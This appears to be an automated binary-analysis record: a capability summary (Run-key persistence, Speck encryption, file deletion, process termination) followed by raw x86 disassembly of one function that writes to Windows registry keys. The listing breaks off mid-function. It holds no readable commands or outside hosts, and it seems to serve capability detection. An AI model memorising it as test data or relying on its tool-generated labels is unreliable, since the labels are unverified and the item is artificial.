Function at 0x5955a8
Capabilities:
Check os version
Copy file
Delete directory
Delete file
Encrypt data using speck
Get common file path
Get number of processors
Move file
Persist via run registry key
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x4f1
push 0
push 0
dec ecx
jne 0x5955b1
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0x528], ecx
mov dword [ebp - 0x524], edx
mov dword [ebp - 0x520], eax
mov eax, dword [ebp + 8]
call fcn.00405f18
lea eax, [ebp - 0x51c]
mov edx, dword [0x40a594]
call fcn.00406794
xor eax, eax
push ebp
push 0x5ad5e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x5ad604
call fcn.005c0fb0
mov eax, 0x5dbda8
call fcn.00405a98
mov dl, 1
mov eax, dword [0x42be48]
call fcn.00404b08
mov dword [ebp - 0x1d8], eax
mov byte [0x5dbc8c], 0
mov byte [0x5dbc8d], 0
mov eax, 0x5dbc90
call fcn.00405a98
mov eax, dword [0x5d4c20]
mov byte [eax], 0
mov eax, dword [0x5d4be0]
xor edx, edx
mov dword [eax], edx
mov byte [0x5dbca0], 0
mov byte [0x5dbca1], 0
mov eax, 0x5dbca4
mov edx, 0x5ad61c
call fcn.00405aec
mov eax, 0x5dbc9c
call fcn.00405a98
lea eax, [ebp - 0x414]
call fcn.00405a98
lea eax, [ebp - 8]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 4], eax
mov byte [ebp - 0x625], 1
lea eax, [ebp - 0x40c]
call fcn.00405a98
xor eax, eax
mov dword [ebp - 0x62c], eax
lea edx, [ebp - 0x820]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x820]
lea edx, [ebp - 0x81c]
call fcn.0040bbcc
mov edx, dword [ebp - 0x81c]
mov eax, 0x5dbcc8
call fcn.00405aec
lea eax, [ebp - 0x3ec]
call fcn.00405a98
lea eax, [ebp - 0x3f0]
call fcn.00405a98
mov byte [ebp - 0x609], 1
mov eax, 0x5dbd08
mov edx, dword [0x5dbd0c]
call fcn.00405aec
mov eax, 0x5ad62c
call fcn.005c0fb0
mov eax, 0x5ad648
call fcn.005c0fb0
mov eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x3b0]
push eax
mov ecx, dword [ebp - 0x528]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005af8f8
inc eax
je 0x595753
push 0x13a
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x5ad03a
mov eax, 0x5ad664
call fcn.005c0fb0
call fcn.0058ef08
call fcn.005935e4
mov ecx, 0x5ad684
mov edx, 0x5ad690
mov eax, dword [0x5dbd90]
call fcn.0058db04
mov ecx, 0x5ad6a8
mov edx, 0x5ad6b4
mov eax, dword [0x5dbd90]
call fcn.0058db04
mov ecx, 0x5ad684
mov edx, 0x5ad6c8
mov eax, dword [0x5dbd90]
call fcn.0058db04
xor ecx, ecx
mov edx, 0x5ad6dc
mov eax, dword [0x5dbd90]
call fcn.0058db04
mov ecx, 0x5ad6f8
mov edx, 0x5ad708
mov eax, dword [0x5dbd90]
call fcn.0058db04
mov ecx, 0x5ad6f8
mov edx, 0x5ad720
mov eax, dword [0x5dbd90]
call fcn.0058db04
mov ecx, 0x5ad73c
mov edx, dword [0x5dbd1c]
mov eax, 0x5ad758
call fcn.0059002c
mov ecx, 0x5ad73c
mov edx, dword [0x5dbd18]
mov eax, 0x5ad76c
call fcn.0059002c
call fcn.0058f024
lea edx, [ebp - 0x824]
call fcn.00593690
mov edx, dword [ebp - 0x824]
mov ecx, 0x5ad73c
mov eax, 0x5ad780
call fcn.0059002c
mov eax, 0x5ad794
call fcn.005c0fb0
push ebp
call fcn.00594180
pop ecx
mov eax, 0x5ad7ac
call fcn.005c0fb0
lea edx, [ebp - 0x828]
mov eax, dword [0x5dbcc8]
call fcn.00589dcc
mov edx, dword [ebp - 0x828]
mov eax, 0x5dbcc8
call fcn.00405aec
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x1dc], eax
xor eax, eax
mov dword [ebp - 0x58c], eax
mov byte [ebp - 0x584], 0
mov byte [ebp - 0x583], 0
mov byte [ebp - 0x585], 0
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 0
xor eax, eax
mov dword [ebp - 0x594], eax
xor eax, eax
mov dword [ebp - 0x598], eax
xor eax, eax
mov dword [0x5dbcc4], eax
mov eax, dword [0x5dbda0]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dbda4]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dbcd0]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5959ac
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x534], 1
lea ecx, [ebp - 0x82c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82c]
mov edx, 0x5ad7c8
call fcn.00405ec0
jne 0x59599a
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x830]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x830]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x834]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov edx, dword [ebp - 0x834]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x838]
mov eax, dword [ebp - 0x534]
dec eax
call fcn.0040b1ec
mov edx, dword [ebp - 0x838]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x534]
dec dword [ebp - 0x668]
jne 0x5958fb
mov eax, dword [ebp + 8]
call fcn.0040b8f0
test al, al
je 0x5959be
cmp dword [ebp + 8], 0
jne 0x595a1f
lea edx, [ebp - 0x844]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x844]
lea edx, [ebp - 0x840]
call fcn.00589dcc
push dword [ebp - 0x840]
lea edx, [ebp - 0x848]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x848]
push 0x5ad7d8
lea eax, [ebp - 0x83c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x83c]
call fcn.0040b8f0
test al, al
je 0x5ad03a
mov eax, 0x5ad7e8
call fcn.005c0fb0
xor eax, eax
push ebp
push 0x5acf6c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x534], eax
mov cl, 1
xor edx, edx
mov eax, 0x5ad7fc
call fcn.00593258
mov ecx, 0x5ad81c
mov edx, 0x5ad834
mov eax, 0x5ad844
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5ad86c
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5ad88c
call fcn.0059002c
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a4b0
mov ecx, 0x5ad81c
mov edx, 0x5ad8b8
mov eax, 0x5ad8cc
call fcn.0059002c
mov eax, 0x5ad8dc
call fcn.005af6a8
test al, al
jne 0x595acd
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad8dc
call fcn.0059002c
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad8f4
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad684
mov eax, 0x5ad908
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad684
mov eax, 0x5ad91c
call fcn.0059002c
lea edx, [ebp - 0x84c]
xor eax, eax
call fcn.00412bb0
mov edx, dword [ebp - 0x84c]
mov ecx, 0x5ad81c
mov eax, 0x5ad934
call fcn.0059002c
lea edx, [ebp - 0x858]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x858]
lea edx, [ebp - 0x854]
call fcn.0040bbcc
mov eax, dword [ebp - 0x854]
lea edx, [ebp - 0x850]
call fcn.00589dcc
mov edx, dword [ebp - 0x850]
mov ecx, 0x5ad81c
mov eax, 0x5ad944
call fcn.0059002c
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad954
call fcn.0059002c
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad96c
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5ad984
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad684
mov eax, 0x5ad994
call fcn.0059002c
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad9a8
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5ad9bc
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad9cc
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x3c4]
mov eax, 0x5ad9e0
call fcn.0059002c
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5ad9f4
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5ada08
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad834
mov eax, 0x5ada20
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ada30
mov eax, 0x5ada40
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbc98]
mov eax, 0x5ada50
call fcn.0059002c
lea edx, [ebp - 0x85c]
movzx eax, byte [0x5dbcf4]
call fcn.00593690
mov edx, dword [ebp - 0x85c]
mov ecx, 0x5ad81c
mov eax, 0x5ada60
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbcf8]
mov eax, 0x5ada70
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbcfc]
mov eax, 0x5ada80
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ada90
mov eax, 0x5ada9c
call fcn.0059002c
lea edx, [ebp - 0x864]
mov eax, dword [0x5dbd04]
call fcn.0040bbcc
mov eax, dword [ebp - 0x864]
lea edx, [ebp - 0x860]
call fcn.00589dcc
mov edx, dword [ebp - 0x860]
mov ecx, 0x5ad81c
mov eax, 0x5adab0
call fcn.0059002c
lea edx, [ebp - 0x868]
mov eax, dword [0x5dbd04]
call fcn.0040bcb8
mov edx, dword [ebp - 0x868]
mov ecx, 0x5ad81c
mov eax, 0x5adac0
call fcn.0059002c
lea edx, [ebp - 0x870]
mov eax, dword [0x5dbd00]
call fcn.0040bbcc
mov eax, dword [ebp - 0x870]
lea edx, [ebp - 0x86c]
call fcn.00589dcc
mov edx, dword [ebp - 0x86c]
mov ecx, 0x5ad81c
mov eax, 0x5adad0
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad834
mov eax, 0x5adae0
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5adaf4
mov eax, 0x5adb00
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5adb10
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5adb20
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad834
mov eax, 0x5adb38
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5adb48
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5adb58
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbcc8]
mov eax, 0x5adb68
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd18]
mov eax, 0x5adb78
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd40]
mov eax, 0x5adb88
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, 0x5ad6f8
mov eax, 0x5adb98
call fcn.0059002c
call fcn.0040d2a8
fstp qword [ebp - 0x690]
wait
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
mov edx, dword [0x5d49f4]
mov edx, dword [edx]
lea eax, [ebp - 0x450]
call fcn.0040df08
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x450]
mov eax, 0x5adbac
call fcn.0059002c
call fcn.0040d2d4
fstp qword [ebp - 0x698]
wait
push dword [ebp - 0x694]
push dword [ebp - 0x698]
mov edx, dword [0x5d4cec]
mov edx, dword [edx]
lea eax, [ebp - 0x454]
call fcn.0040df08
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x454]
mov eax, 0x5adbbc
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd20]
mov eax, 0x5adbcc
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd24]
mov eax, 0x5adbdc
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [ebp + 8]
mov eax, 0x5adbf0
call fcn.0059002c
lea edx, [ebp - 0x87c]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x87c]
lea edx, [ebp - 0x878]
call fcn.00589dcc
push dword [ebp - 0x878]
lea edx, [ebp - 0x880]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x880]
push 0x5ad7d8
lea eax, [ebp - 0x874]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x874]
call fcn.0040b8f0
test al, al
je 0x596348
lea eax, [ebp - 0x3c4]
mov edx, dword [0x5dbd10]
call fcn.00405b30
mov eax, 0x5dbd10
call fcn.00405a98
xor eax, eax
push ebp
push 0x596341
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x888]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x888]
lea eax, [ebp - 0x884]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x884]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x59601f
lea ecx, [ebp - 0x88c]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431090
mov edx, dword [ebp - 0x88c]
mov eax, 0x5dbd10
call fcn.00405aec
mov eax, dword [ebp - 0x53c]
call fcn.00430994
cmp dword [0x5dbd10], 0
jne 0x5960a6
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
lea edx, [ebp - 0x894]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x894]
lea eax, [ebp - 0x890]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x890]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5960a6
lea ecx, [ebp - 0x898]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431090
mov edx, dword [ebp - 0x898]
mov eax, 0x5dbd10
call fcn.00405aec
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
mov edx, dword [0x5dbd10]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd10
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dbd10]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0
je 0x596103
mov eax, dword [ebp - 0x6a0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6a0], eax
mov edx, dword [0x5dbd10]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd10
mov ecx, dword [ebp - 0x6a0]
call fcn.00405fd0
lea edx, [ebp - 0x8a4]
mov eax, dword [0x5dbd10]
call fcn.0040bbcc
mov eax, dword [ebp - 0x8a4]
lea edx, [ebp - 0x8a0]
call fcn.0042dc94
mov eax, dword [ebp - 0x8a0]
lea edx, [ebp - 0x89c]
call fcn.0040bcb8
mov edx, dword [ebp - 0x89c]
mov eax, 0x5dbd10
call fcn.00405aec
mov eax, 0x5dbd14
mov edx, dword [0x5dbd10]
call fcn.00405aec
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8a8]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x8a8]
push 0x5adc70
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x3c0]
call fcn.005915dc
mov eax, dword [0x5dbcd8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5962a3
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x8ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcdc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8ac]
call fcn.005936d4
test al, al
je 0x596291
lea ecx, [ebp - 0x8b0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8b0]
call fcn.00592a24
test al, al
jne 0x596291
lea ecx, [ebp - 0x8b4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8b4]
call fcn.0058f9d8
add eax, dword [0x5dbd78]
adc edx, dword [0x5dbd7c]
mov dword [0x5dbd78], eax
mov dword [0x5dbd7c], edx
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x59620b
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8b8]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x8b8]
push 0x5adc80
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8f0
test al, al
je 0x596323
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x596348
mov eax, 0x5dbd10
mov edx, dword [ebp - 0x3c4]
call fcn.00405aec
ret
xor eax, eax
push ebp
push 0x5963e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5adc90
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5963d2
lea eax, [ebp - 0x8bc]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dbd0c]
call fcn.00405f90
mov edx, dword [ebp - 0x8bc]
mov eax, dword [ebp - 0x53c]
call fcn.00430e98
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5963f1
xor eax, eax
push ebp
push 0x596490
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5adc90
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x59647b
lea eax, [ebp - 0x8c0]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dbd0c]
call fcn.00405f90
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x53c]
call fcn.00430e98
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59649a
mov byte [0x5dbca8], 1
mov eax, dword [ebp - 0x524]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596557
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
cmp dword [ebp - 0x418], 0
je 0x596545
lea eax, [ebp - 0x8c4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x8c4]
mov edx, 0x5ad6f8
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x8c8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x8c8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad6f8
call fcn.0059405c
pop ecx
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x5964c4
mov byte [0x5dbca8], 0
mov eax, 0x5dbd5c
call fcn.00405a98
mov eax, 0x5dbd60
mov edx, 0x5adcd4
call fcn.00405aec
mov ecx, 0x5ad81c
xor edx, edx
mov eax, 0x5adce4
call fcn.0059002c
push dword [0x5dbd24]
push dword [0x5dbd18]
push 0x5adcf8
lea eax, [ebp - 0x8cc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x8cc]
call fcn.0040b8f0
test al, al
je 0x596db5
lea eax, [ebp - 0x8d0]
mov ecx, 0x5add08
mov edx, dword [0x5dbd24]
call fcn.00405db0
mov eax, dword [ebp - 0x8d0]
xor edx, edx
call fcn.0042e448
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x596923
mov dword [ebp - 0x54c], eax
lea ecx, [ebp - 0x8d4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x6a4], eax
lea eax, [ebp - 0x8d8]
mov ecx, 0x5add20
mov edx, dword [0x5dbd24]
call fcn.00405db0
mov eax, dword [ebp - 0x8d8]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0
je 0x59666b
mov eax, dword [ebp - 0x6b0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
je 0x596691
mov eax, dword [ebp - 0x6b4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
push eax
mov eax, dword [ebp - 0x6a8]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6b0]
push eax
mov eax, dword [ebp - 0x6a4]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0
jne 0x5966e1
mov byte [ebp - 0x6c9], 1
jmp 0x5967bc
lea ecx, [ebp - 0x8dc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x6b8], eax
lea eax, [ebp - 0x8e0]
mov ecx, 0x5add3c
mov edx, dword [0x5dbd24]
call fcn.00405db0
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0
je 0x59674d
mov eax, dword [ebp - 0x6c4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0
je 0x596773
mov eax, dword [ebp - 0x6c8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
push eax
mov eax, dword [ebp - 0x6bc]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6c4]
push eax
mov eax, dword [ebp - 0x6b8]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0
sete byte [ebp - 0x6c9]
cmp byte [ebp - 0x6c9], 0
je 0x5967dc
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596910
lea ecx, [ebp - 0x8e4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8e4]
mov eax, 0x5add5c
call fcn.0041038c
test eax, eax
je 0x59681f
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596910
lea ecx, [ebp - 0x8e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8e8]
mov dword [ebp - 0x6d0], eax
push dword [0x5dbd24]
push 0x5add6c
push dword [0x5dbd58]
lea eax, [ebp - 0x8ec]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 0
je 0x596896
mov eax, dword [ebp - 0x6dc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
je 0x5968bc
mov eax, dword [ebp - 0x6e0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6e0]
push eax
mov eax, dword [ebp - 0x6d4]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6dc]
push eax
mov eax, dword [ebp - 0x6d0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0
jne 0x596910
mov eax, 0x5dbd5c
mov edx, dword [0x5dbd58]
call fcn.00405aec
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jne 0x5965ff
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x596db5
cmp byte [0x5dbd54], 0
je 0x596c35
lea edx, [ebp - 0x8f0]
mov eax, 0x5add84
call fcn.0058fff8
mov eax, dword [ebp - 0x8f0]
call fcn.005936d4
test al, al
jne 0x596c35
lea edx, [ebp - 0x8fc]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x8fc]
lea edx, [ebp - 0x8f8]
call fcn.00589dcc
push dword [ebp - 0x8f8]
lea edx, [ebp - 0x900]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x900]
push 0x5ad7d8
lea eax, [ebp - 0x8f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x8f4]
call fcn.0040b8f0
test al, al
jne 0x596c35
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58cc58]
call fcn.0047c8ec
mov edx, dword [0x5d4850]
mov dword [edx], eax
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596a69
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x908]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
